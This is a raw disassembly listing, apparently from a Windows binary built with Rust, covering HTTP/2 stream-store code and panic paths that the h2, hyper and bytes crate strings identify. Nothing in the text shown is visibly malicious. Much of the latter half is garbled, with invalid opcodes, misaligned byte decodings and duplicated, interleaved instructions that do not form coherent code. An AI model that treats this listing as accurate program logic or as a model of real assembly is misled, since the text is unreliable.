mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rax
lea rax, [0x14013e4f8]
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x338], 2
mov qword [rsp + 0x350], 0
lea rax, [rsp + 0xc0]
jmp 0x1400a3386
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x84], edi
mov qword [rsp + 0x78], rbx
movzx eax, byte [rbx + 1]
test al, al
jne 0x1400a3ef4
mov rbx, qword [rsi + 0x210]
test rbx, rbx
je 0x1400a3c98
lea rdi, [rsi + 8]
mov rax, qword [rsp + 0x78]
add rax, 8
mov qword [rsp + 0xc0], rax
lea rax, [rsi + 0x1b8]
mov qword [rsp + 0x98], rax
lea rax, [rsi + 0x110]
mov qword [rsp + 0x90], rax
xor r14d, r14d
jmp 0x1400a3b78
cmp ebp, 0x3b9aca00
setne r8b
mov rcx, rdi
lea rdx, [rsp + 0xb0]
call fcn.14001fde0
mov rax, qword [rsi + 0x210]
cmp rax, rbx
sbb r14, 0xffffffffffffffff
cmp rax, rbx
sbb rbx, 0
cmp r14, rbx
jae 0x1400a3c98
cmp r14, qword [rsi + 0x1f0]
jae 0x1400a3ee8
mov rax, qword [rsi + 0x1e8]
mov rcx, r14
shl rcx, 4
mov r12d, dword [rax + rcx + 8]
mov r15d, dword [rax + rcx + 0xc]
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], r15d
mov dword [rsp + 0xbc], r12d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x3c], r12d
cmp qword [rsi + 0x1c8], r15
jbe 0x1400a3e87
mov rdx, qword [rsi + 0x1c0]
imul r13, r15, 0x130
cmp dword [rdx + r13], 2
je 0x1400a3e87
add rdx, r13
cmp dword [rdx + 0x114], r12d
jne 0x1400a3e87
mov ebp, dword [rdx + 0x48]
mov rcx, qword [rsp + 0x88]
call fcn.140025480
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xc0]
lea r8, [rsp + 0xb0]
call fcn.14008c0a0
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x3c], r12d
cmp qword [rsi + 0x1c8], r15
jbe 0x1400a3e87
mov rax, qword [rsi + 0x1c0]
cmp dword [rax + r13], 2
je 0x1400a3e87
add rax, r13
cmp dword [rax + 0x114], r12d
jne 0x1400a3e87
mov edx, dword [rax + 0x84]
test edx, edx
jle 0x1400a3b40
mov dword [rax + 0x84], 0
mov rcx, qword [rsp + 0x90]
mov r8, qword [rsp + 0x98]
mov r9, rdi
call fcn.1400216c0
jmp 0x1400a3b40
mov rcx, qword [rsp + 0x88]
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
lea rdi, [rsi + 0x180]
movzx eax, byte [rsi + 0x180]
cmp eax, 3
mov rbx, qword [rsp + 0x78]
je 0x1400a3d21
test eax, eax
je 0x1400a3d21
cmp eax, 1
jne 0x1400a3cfc
lea rcx, [rsi + 0x1a0]
mov rax, qword [rsi + 0x188]
mov rdx, qword [rsi + 0x190]
mov r8, qword [rsi + 0x198]
call qword [rax + 0x10]
jmp 0x1400a3d21
mov rax, qword [rsi + 0x188]
shl rax, 1
test rax, rax
je 0x1400a3d21
mov r8, qword [rsi + 0x190]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x60]
mov qword [rdi + 0x20], rax
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
cmp byte [rsp + 0x34], 0
jne 0x1400a3d55
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a3e5b
xor eax, eax
xchg byte [rbx], al
cmp al, 2
mov edi, dword [rsp + 0x84]
jne 0x1400a3d6d
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test dil, dil
jne 0x1400a3d85
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a3e71
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x1400a3daa
mov rcx, rsi
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov dword [rsp + 0x20], eax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013bad8]
lea r8, [rsp + 0x40]
mov edx, 0x2b
call fcn.1401049b0
mov rcx, rbx
call fcn.14010c7c0
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x1400a3ad2
call fcn.14010c880
xor al, 1
mov dword [rsp + 0x34], eax
jmp 0x1400a3ada
call fcn.14010c880
test al, al
jne 0x1400a3d55
mov byte [rbx + 1], 1
jmp 0x1400a3d55
call fcn.14010c880
test al, al
jne 0x1400a3d85
mov byte [rsi + 1], 1
jmp 0x1400a3d85
lea rax, [rsp + 0x3c]
mov qword [rsp + 0xa0], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0xa8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140104620
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140104a40
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x34]
mov byte [rsp + 0x48], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013bb18]
lea r8, [rsp + 0x40]
mov edx, 0x2b
call fcn.1401049b0
int3
add byte [rax], al
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
cmp byte [rax - 0x75], cl
and al, 0x40
cmp byte [rax - 0x75], cl
and al, 0x40
test r8, r8
je 0x1400a4a3b
invalid
adc cl, byte [rbx + rcx*4 + 0x40]
adc byte [rcx - 1], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x30]
cmp r8, 2
je 0x1400a4aa3
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
test r8, r8
je 0x1400a4a91
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x38]
lock dec qword [rax]
jne 0x1400a4aa3
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
call fcn.1400049d0
jmp 0x1400a4aa3
call qword [rax + 0x80]
jmp 0x1400a4aa3
mov rax, rdi
mov rdx, rsi
movaps xmm6, xmmword [rsp + 0x4f0]
add rsp, 0x508
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ret
invalid
or byte [rax + 0x69], cl
ret
add byte [rbp + rcx*4 + 5], cl
add bl, byte [rcx + rcx]
mov edx, 0xb
call fcn.1401092e0
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, [0x14013c1a8]
add byte [rbp + rcx*4 + 5], cl
loop 0x1400a5233
or dword [rax], eax
mov edx, 0x28
call fcn.1401046f0
int3
mov r10, qword [r9 + 8]
imul r11, r8, 0x130
add dword [rax], eax
add byte [rbx - 0x7d], al
cmp al, 0x1a
add cl, byte [rdi]
invalid
movsd dword [rdi], dword [rsi]
add byte [rax], al
invalid
add dword [rax], eax
add byte [rbx - 0x7d], al
cmp al, 0x1a
add cl, byte [rdi]
test byte [rbp + 0x4d000000], ah
add edx, ebx
add r10, r11
cmp dword [r10 + 0x114], eax
jne 0x1400a52c1
cmp byte [r10 + 0x121], 0
je 0x1400a523b
add byte [rbp + rax + 0x48], dh
add esp, 0x68
add rsp, 0x68
ret
mov byte [r10 + 0x121], 1
cmp dword [rcx], 0
je 0x1400a52a5
mov r11d, dword [rcx + 0xc]
mov r10d, dword [rcx + 0x10]
mov dword [rsp + 0x20], r11d
mov dword [rsp + 0x24], r10d
cmp qword [r9 + 0x10], r11
jbe 0x1400a5314
mov r9, qword [r9 + 8]
imul r11, r11, 0x130
cmp dword [r9 + r11], 2
je 0x1400a5314
add r9, r11
cmp dword [r9 + 0x114], r10d
jne 0x1400a5314
mov dword [r9 + 0xb8], 1
mov dword [r9 + 0xbc], r8d
mov dword [r9 + 0xc0], eax
jmp 0x1400a52b2
mov dword [rcx], 1
mov dword [rcx + 4], r8d
mov dword [rcx + 8], eax
mov dword [rcx + 0xc], r8d
add rcx, 0x10
mov dword [rcx], eax
add rsp, 0x68
ret
mov qword [rsp + 0x28], rdx
lea rax, [0x14001b1b0]
mov qword [rsp + 0x30], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
and al, 0x58
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140104620
mov qword [rsp + 0x28], rdx
lea rax, [0x14001b1b0]
mov qword [rsp + 0x30], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140104620
int3
mov r9, r8
sub r9, rdx
jb 0x1400a5403
mov qword [rcx + 0x18], r9
add qword [rcx + 0x10], rdx
mov qword [rcx + 0x28], rax
add rsp, 0x88
ret
xchg edx, eax
or dword [rax], eax
mov edx, 0x23
call fcn.1401046f0
lea rcx, str.overflow
lea r8, [0x14014bd20]
add eax, 0xa6927
add eax, 0xa6927
mov edx, 8
call fcn.140104a60
mov qword [rsp + 0x30], r8
lea rax, [rsp + 0x28]
mov qword [rsp + 0x38], rax
lea rax, [0x1400ea5c0]
mov qword [rsp + 0x40], rax
and al, 0x40
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x78
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x78
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
and al, 0x68
and al, 0x68
mov qword [rsp + 0x70], 2
and al, 0x70
add al, byte [rax]
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x58]
lea ecx, [rcx]
add byte [rax - 0x73], cl
and al, 0x58
call fcn.140104620
lea rcx, str.assertion_failed:_pos___self.get_ref__.as_ref__.len__
lea r8, [0x14014bd00]
add byte [rdx + 0x36], bh
add byte [rdx + 0x36], bh
call fcn.1401046f0
int3
add byte [rax], al
add byte [rcx - 0x75], cl
add dword [rbp - 0x75], eax
pop rcx
or byte [rbp - 0x75], al
invalid
push rcx
mov edx, dword [rcx + 0xc]
or al, 0x44
mov dword [rsp + 0x40], ebx
and al, 0x40
mov dword [rsp + 0x40], r11d
and al, 0x40
mov dword [rsp + 0x44], r10d
cmp qword [rax + 0x10], r11
jbe 0x1400a5581
retf
add byte [rax], al
invalid
retf
mov rax, qword [rax + 8]
imul r11, r11, 0x130
add byte [rax], al
or byte [rbp + 0x69], cl
invalid
add byte [rax], al
cmp dword [rax + r11], 2
je 0x1400a5581
add rax, r11
add eax, ebx
cmp dword [rax + 0x114], r10d
jne 0x1400a5581
movzx r10d, byte [rax + 0x50]
mov dh, 0x50
push rax
add r10b, 0xfa
movzx r11d, r10b
cmp r11b, 6
mov r10d, 6
mov edx, 6
mov edx, 6
cmovb r10d, r11d
cmp r10b, 6
ja 0x1400a5517
invalid
sbb al, byte [rbp + 0xf]
mov dh, 0xd2
movzx r10d, r10b
mov r11d, 0x54
bt r11d, r10d
jae 0x1400a5517
cmp qword [rax + 0x88], 0
je case.0x14009e6a0.319
add byte [rax], al
add byte [rbx + rbx*2 + 3], dh
nop
add byte [rax], 0
add byte [rcx + 0x41], dh
add edx, dword [rax + 0x80]
jno 0x1400a5560
mov rax, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xb0]
add byte [rax], al
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], rax
add byte [rax], al
mov qword [rsp + 0x30], rax
and al, 0x30
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], r9
mov edx, 3
add byte [rbp - 0x77], cl
rol dword [rcx - 0x50], 1
rol dword [rcx - 0x50], 1
call fcn.14008bce0
mov eax, 1
mov edx, 3
add rsp, 0x88
invalid
add bl, al
ret
add rcx, 8
mov dword [rax + 0x80], edx
mov rdx, r9
call fcn.140021a70
inc ah
idiv edi
inc ah
idiv edi
xor eax, eax
mov edx, 3
add rsp, 0x88
ret
lea rax, [rsp + 0x44]
mov qword [rsp + 0x48], rax
lea rax, [0x14001b1b0]
add eax, 0xfff75c1e
add eax, 0xfff75c1e
mov qword [rsp + 0x50], rax
lea rax, str.dangling_store_key_for_stream_id
invalid
add byte [rax - 0x77], cl
and al, 0x58
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x78], 0
invalid
mov dword [rsp + 0x78], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 1
mov dword [rsp + 0x70], 1
and al, 0x70
add dword [rax], eax
add byte [rax], al
and al, 0x70
add dword [rax], eax
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x58]
call fcn.140104620
int3
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x7b8
add byte [rdi], cl
sub dword [rsp + 0x7a0], esi
add byte [rdi], cl
sub dword [rsp + 0x7a0], esi
mov r13, rcx
movzx eax, byte [r8]
lea rcx, [0x140174a88]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [r8 + 0x28]
mov qword [rsp + 0x550], rax
movdqu xmm0, xmmword [r8 + 8]
movdqu xmm1, xmmword [r8 + 0x18]
movdqa xmmword [rsp + 0x540], xmm1
movdqa xmmword [rsp + 0x530], xmm0
mov rdi, qword [rdx + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
mov al, 0xf
mov al, 0xf
jne 0x1400a73b0
add byte [rax - 0x75], cl
add eax, 0xd7c53
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a73d1
xor r14d, r14d
movzx eax, byte [rdi + 1]
add dword [r8 + r8*8 + 0x1d7f850f], r8d
add byte [rax], al
add dword [r8 + r8*8 + 0x1d7f850f], r8d
add byte [rax], al
movzx r15d, byte [rdx + 0x30]
mov rsi, qword [rdx + 0x28]
mov ebp, dword [rsp + 0x550]
lea rdx, [rdi + 0x1b8]
lea rbx, [rsp + 0x280]
mov rcx, rbx
mov r8d, ebp
call fcn.140026920
cmp qword [rsp + 0x280], 0
jb 0x1400a56a1
mov dword [rsp + 0x60], r14d
je 0x1400a66da
movdqu xmm0, xmmword [rsp + 0x280]
movdqa xmmword [rsp + 0xc0], xmm0
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi], cl
jne 0x1400a79a0
add al, byte [rax]
add byte [rsi + 0xf], ah
jg 0x1400a563f
test eax, eax
jne 0x1400a79bb
je 0x1400a5711
push rax
movzx eax, byte [rsi + 1]
test al, al
jne 0x1400a8345
movaps xmm0, xmmword [rsp + 0x530]
sub byte [rsp + 0x530], al
movaps xmmword [rsp + 0x3c0], xmm0
mov r13, qword [rsp + 0x540]
movdqu xmm0, xmmword [rsp + 0x548]
invalid
rol byte [rbx], 0
add byte [rbx + rcx*4 - 0x54], cl
and al, 0x40
add eax, 0xff30000
outsd dx, dword [rsi]
test byte [rax + rcx*2], ah
add eax, 0xff30000
add bl, dh
invalid
jg 0x1400a56a3
add bl, dh
movq mm0, qword [rsp + 0x548]
invalid
add bl, dh
movq qword [rsp + 0x3d8], mm0
movdqu xmmword [rsp + 0x3d8], xmm0
and al, 0xd8
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xc0
rol byte [rax], 0
mov r12, qword [rsp + 0xc0]
mov r15d, dword [rsp + 0xc8]
mov esi, dword [rsp + 0xcc]
add byte [rax], al
invalid
rol byte [rax], 0
add byte [rbx + rcx*4 - 0x44], al
and al, 0xc8
add byte [rax], al
add byte [rbx + 0xcc24b4], cl
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], al
invalid
invalid
invalid
and al, 0x50
invalid
mov dword [rsp + 0x650], r15d
mov dword [rsp + 0x654], esi
cmp qword [r12 + 0x10], r15
cmp dword [rsp + 0x10], edi
cmp dword [rsp + 0x10], edi
and al, 0x10
jbe 0x1400a8233
mov rax, qword [r12 + 8]
and al, 8
imul rbp, r15, 0x130
xor byte [rcx], al
add byte [rax], al
cmp dword [rax + rbp], 2
je 0x1400a8233
add rax, rbp
cmp dword [rax + 0x114], esi
jne 0x1400a8233
sub al, byte [rax]
invalid
sub al, byte [rax]
add byte [rbx - 0x76b3b7b0], cl
mov edx, dword [rax + 0x48]
mov qword [rsp + 0x3d0], r13
invalid
invalid
add byte [rax], al
mov edx, dword [rax + 0x48]
mov qword [rsp + 0x3d0], r13
test r13, 0xffffffff80000000
invalid
add byte [rax], al
add byte [rax + 0x2bf4850f], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x2bf4850f], al
add byte [rax], al
mov dword [rsp + 0x80], r15d
lea r11, [rsp + 0x84]
and al, 0x84
add byte [rax], al
add byte [rcx + 0x8424b4], cl
add byte [rax], al
and al, 0x84
add byte [rax], al
add byte [rcx + 0x8424b4], cl
add byte [rax], al
mov rax, qword [r12 + 0x10]
and al, 0x10
adc byte [rcx + rdi - 8], cl
cmp rax, r15
jbe 0x1400a81c5
sub al, byte [rax]
add byte [rcx - 0x75], cl
and al, 8
mov rcx, qword [r12 + 8]
cmp dword [rcx + rbp], 2
je 0x1400a81c5
add byte [rax], al
add byte [rax], al
add rcx, rbp
cmp dword [rcx + 0x114], esi
adc al, 1
add byte [rax], al
adc al, 1
add byte [rax], al
jne 0x1400a81c5
mov dword [rsp + 0xd8], edx
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
push rdi
or byte [rax - 0x77], cl
push rsp
and al, 0x68
lea rdx, [rdi + 8]
mov qword [rsp + 0x68], rdx
movzx edx, byte [rcx + 0x50]
push rax
cmp dl, 5
mov dword [rsp + 0x70], r10d
ja 0x1400a6666
lea r8d, [rdx - 3]
std
cmp r8b, 3
movzx r9d, r8b
mov r8d, 1
add byte [rax], al
add byte [rax], al
add byte [rbp + 0xf], al
rol dword [rbp - 0x7c], 0xc0
test r8b, r8b
cmovb r8d, r9d
test r8b, r8b
je 0x1400a6666
movzx r8d, r8b
cmp r8d, 1
jne 0x1400a582f
jae 0x1400a6666
add byte [rax], al
mov eax, dword [rdi + 0xb0]
xor r14d, r14d
test eax, eax
invalid
mov ecx, 0
add byte [rax], al
sar byte [rcx], 0xf
enter 0x1b3, 0xffffffffffffffc7
mov dword [rsp + 0x58], 3
cmovg ecx, eax
mov bl, 1
mov dword [rsp + 0x58], 3
lea rdx, [0x1401127a0]
mov qword [rsp + 0x40], rdx
cmp ecx, r13d
jb case.0x140073b82.215
invalid
add byte [rbp - 0x7b], al
in eax, dx
test r13d, r13d
mov r12, qword [rsp + 0x50]
mov esp, dword [rsp + 0x50]
mov rbp, qword [rsp + 0x68]
je 0x1400a5890
sub eax, r13d
jl 0x1400a8418
invalid
lahf
sub eax, dword [rax]
invalid
mov word [rdi - 0x76ffffd5], ds
xchg dword [rax - 0x75000000], esi
xchg dword [rax + rax + 0x29440000], esi
call 0xc79371fc
jo 0x1400a58a3
mov dword [rdi + 0xb4], eax
lahf
sub eax, dword [rax]
add byte [rcx + 0xb087], cl
add byte [rbx + 0xb487], cl
add byte [rcx + rbp - 0x18], al
mov dword [rdi + 0xb0], eax
mov eax, dword [rdi + 0xb4]
sub eax, r13d
jo 0x1400a58a3
mov dword [rdi + 0xb4], eax
xchg dword [rax + rax - 0x78750000], esi
mov eax, dword [rdi + 0xb4]
mov ah, 0
add byte [rax], al
add eax, r13d
mov bl, 3
jo 0x1400a58a3
add esi, dword [rax + 6]
mov dword [rdi + 0xb4], eax
add byte [rbp + 0x31], al
imul cl
jns case.0x140073b82.207
xor r14d, r14d
jmp case.0x140073b82.213
add byte [rax], al
movdqu xmm0, xmmword [r8 + 4]
movdqu xmm1, xmmword [r8 + 0x14]
movdqu xmm2, xmmword [r8 + 0x24]
movq mm2, qword [rax + 0x24]
movq mm2, qword [rax + 0x24]
movdqu xmm3, xmmword [r8 + 0x30]
movq mm3, qword [r8 + 0x30]
xor bl, dh
movq qword [r13 + 0x30], mm3
invalid
movdqu xmmword [r13 + 0x30], xmm3
xor bl, dh
movq qword [r13 + 0x24], mm2
movdqu xmmword [r13 + 0x24], xmm2
movdqu xmmword [r13 + 0x14], xmm1
movdqu xmmword [r13 + 4], xmm0
mov dword [r13], 0
add cl, ch
pop rax
and byte [rax], al
invalid
add cl, ch
pop rax
and byte [rax], al
add byte [rax - 0x7d], cl
add rdx, 0x20
invalid
add rdx, 0x20
mov rcx, rdx
mov ecx, edx
mov ecx, edx
xor edx, edx
call fcn.140099490
invalid
cmp edi, edi
inc dword [rax + rax*8 + 0x29f6850f]
add byte [rax], al
invalid
inc dword [rax + rax*8 + 0x29f6850f]
add byte [rax], al
movabs rax, 0x300000000
add byte [rax], al
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
jmp 0x1400a793c
add r8, 8
lea rcx, [rsp + 0x650]
mov rsi, rdx
mov rdx, r8
ret 0xb841
and byte [rcx], al
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
mov rdx, rsi
mov rdi, qword [rsi + 0x20]
mov edi, dword [rsi + 0x20]
ret 0xb841
mov edi, dword [rsi + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
jne 0x1400a72ad
mov rax, qword [0x14017d2a8]
shl rax, 1
loopne 0x1400a5992
test eax, eax
loopne 0x1400a5992
test eax, eax
jne 0x1400a72cb
xor ebx, ebx
mov qword [rsp + 0x48], r13
movzx eax, byte [rdi + 1]
test al, al
jne 0x1400a72e9
mov r13d, dword [rsp + 0x768]
cmp r13d, dword [rdi + 0x100]
add byte [rax], al
and al, 0x68
invalid
add byte [rax], al
jbe 0x1400a5f58
add dh, al
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rbx], al
mov byte [rsp + 0xe8], 3
mov r13, qword [rsp + 0x48]
lea rcx, [rsp + 0x650]
call fcn.140088040
jmp 0x1400a7874
invalid
add r8, 8
lea rcx, [rsp + 0x280]
mov rsi, rdx
mov rdx, r8
mov r8d, 0x120
add dword [rax], eax
add al, ch
invalid
invalid
add eax, 0xf2894800
mov rdi, qword [rsi + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
jne 0x1400a7304
add dword [rax], eax
add al, ch
invalid
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne case.0x14001a36d.2534
xor ebx, ebx
movzx eax, byte [rdi + 1]
test al, al
jne 0x1400a733b
mov rax, qword [rdx + 0x28]
mov qword [rsp + 0x250], rax
mov ebp, dword [rsp + 0x390]
mov r12d, dword [rsp + 0x394]
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x49], cl
lea esi, [rdi + 0x1b8]
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x49], cl
lea esi, [rdi + 0x1b8]
lea rsi, [rsp + 0x650]
lea esi, [rdi + 0x1b8]
lea rsi, [rsp + 0x650]
mov rcx, rsi
int1
mov rdx, r14
mov r8d, ebp
call fcn.140026920
mov rax, qword [rsp + 0x650]
test byte [rax + rdx*2], ah
invalid
add byte [rax], al
test rax, rax
mov qword [rsp + 0x48], r13
and al, 0x48
test byte [rax + rdx*2], ah
invalid
and al, 0x48
mov dword [rsp + 0x60], ebx
and al, 0x60
je 0x1400a6b0c
cmp ebp, dword [rdi + 0x100]
jbe 0x1400a6895
mov r13b, 3
jmp 0x1400a6d91
mov ebx, dword [r8 + 4]
mov r12d, dword [r8 + 8]
mov rdi, qword [rdx + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
jne 0x1400a7356
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a7377
ror byte [rdi], 0x85
clc
sbb byte [rax], al
add byte [rcx], dh
test byte [rdi], 0xb6
add dword [r8 + r8*8 + 0x1907850f], r8d
ror byte [rdi], 0x85
invalid
sbb dword [rax], eax
invalid
xor esi, esi
movzx eax, byte [rdi + 1]
test al, al
ror byte [rdi], 0x85
invalid
sbb dword [rax], eax
invalid
ror byte [rdi], 0x85
invalid
mov r14, qword [rdx + 0x28]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r14], cl
sub byte [rcx - 0xf3fceff], dh
cmpxchg byte [r14], cl
jne 0x1400a74dd
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a74f8
invalid
add byte [rcx], dh
ror byte [rcx + rcx*4 + 0x6c], 0x24
movzx ecx, byte [r14 + 1]
xor eax, eax
mov qword [rsp + 0x48], r13
movzx ecx, byte [r14 + 1]
test cl, cl
jne 0x1400a7511
test dword [rdx + 0x1a], ecx
add byte [rax], al
test dword [rdx + 0x1a], ecx
add byte [rax], al
lea r15, [rdi + 8]
lea r13, [rdi + 0x1b8]
test ebx, ebx
mov dword [rsp + 0x60], esi
je 0x1400a6726
mov ebp, eax
lea rcx, [rsp + 0x4e0]
add byte [rax], al
add byte [rax], al
mov rdx, r13
mov r8d, ebx
call fcn.140026920
cmp qword [rsp + 0x4e0], 0
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
je 0x1400a6c49
lea r8, [r14 + 8]
lea rcx, [rdi + 0x108]
lea rax, [rdi + 0x1a8]
mov qword [rsp + 0x28], rax
and al, 0x28
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x4e0]
mov edx, r12d
mov word [rax + riz*8], fs
add al, 0
add byte [rcx + rcx*4 - 0x1e], al
call fcn.1400a5490
mov eax, ebp
test al, al
jne 0x1400a5b47
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a7b59
test dword [rdx], edx
and byte [rax], al
invalid
test dword [rdx], edx
and byte [rax], al
add byte [rcx], dh
rol byte [rcx - 0x7a], 6
xor eax, eax
xchg byte [r14], al
mov bl, 3
mov bpl, 1
cmp al, 2
mov r13, qword [rsp + 0x48]
jne 0x1400a5b63
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp byte [rsp + 0x60], 0
jne 0x1400a5b7d
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a7ac7
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x1400a5b8e
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bpl, bpl
jne case.0x1400a5610.2
invalid
add byte [rax], al
sbb eax, 0x280f0000
test byte [rax + rsi], ah
add eax, 0x290f0000
test byte [rax + riz], ah
movaps xmm0, xmmword [rsp + 0x530]
sub byte [rsp + 0x530], al
movaps xmmword [rsp + 0x520], xmm0
mov byte [r13 + 8], bl
mov byte [r13 + 9], 1
add eax, 0x88410000
pop rbp
or byte [rcx - 0x3a], al
or dword [r9], r8d
mov dword [r13 + 0xc], esi
lea rax, [0x14013a998]
mov qword [r13 + 0x10], rax
mov dword [rbp + 0x10], eax
lea rax, [0x14016f768]
or al, 0
or al, 0
mov qword [r13 + 0x18], rax
movdqa xmm0, xmmword [rsp + 0x520]
